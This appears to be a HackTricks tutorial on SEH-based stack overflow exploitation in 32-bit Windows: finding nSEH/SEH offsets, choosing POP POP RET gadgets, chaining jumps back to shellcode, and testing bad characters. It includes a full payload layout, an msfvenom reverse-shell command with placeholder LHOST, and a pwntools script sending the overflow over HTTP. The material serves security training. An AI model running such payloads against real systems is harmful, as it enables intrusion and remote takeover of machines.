Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)

Reading time: 7 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SEH-based exploitation is a classic x86 Windows technique that abuses the Structured Exception Handler chain stored on the stack. When a stack buffer overflow overwrites the two 4-byte fields

  • nSEH: pointer to the next SEH record, and
  • SEH: pointer to the exception handler function

an attacker can take control of execution by:

  1. Setting SEH to the address of a POP POP RET gadget in a non-protected module, so that when an exception is dispatched the gadget returns into attacker-controlled bytes, and
  2. Using nSEH to redirect execution (typically a short jump) back into the large overflowing buffer where shellcode resides.

This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing.


Finding exact offsets (nSEH / SEH)

  • Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
  • Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.

Example with peda/GEF/pwntools on a 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.


Choosing a POP POP RET (SEH gadget)

You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR:

  • Mona (Immunity/WinDbg): !mona modules then !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH to list POP POP RET gadgets and SafeSEH status.

Pick an address that contains no badchars when written little-endian (e.g., p32(0x004094D8)). Prefer gadgets inside the vulnerable binary if protections allow.


Jump-back technique (short + near jmp)

nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.

With nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

Layout idea for a 1000-byte payload with nSEH at offset 660:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

Execution flow:

  • Exception occurs, dispatcher uses overwritten SEH.
  • POP POP RET unwinds into our nSEH.
  • nSEH executes jmp short -8 into the 5-byte near jump.
  • Near jump lands at the beginning of our buffer where the NOP sled + shellcode reside.

Bad characters

Build a full badchar string and compare the stack memory after the crash, removing bytes that are mangled by the target parser. For HTTP-based overflows, \x00\x0a\x0d are almost always excluded.

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode generation (x86)

Use msfvenom with your badchars. A small NOP sled helps tolerate landing variance.

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
  -b "\x00\x0a\x0d" -f python -v sc

If generating on the fly, the hex format is convenient to embed and unhex in Python:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
  -b "\x00\x0a\x0d" -f hex

Delivering over HTTP (precise CRLF + Content-Length)

When the vulnerable vector is an HTTP request body, craft a raw request with exact CRLFs and Content-Length so the server reads the entire overflowing body.

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

Tooling

  • x32dbg/x64dbg to observe SEH chain and triage the crash.
  • ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets: ERC --SEH.
  • Mona as an alternative: !mona modules, !mona seh.
  • nasmshell to assemble short/near jumps and copy raw opcodes.
  • pwntools to craft precise network payloads.

Notes and caveats

  • Only applies to x86 processes. x64 uses a different SEH scheme and SEH-based exploitation is generally not viable.
  • Prefer gadgets in modules without SafeSEH and ASLR; otherwise, find an unprotected module loaded into the process.
  • Service watchdogs that automatically restart on crash can make iterative exploit development easier.

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks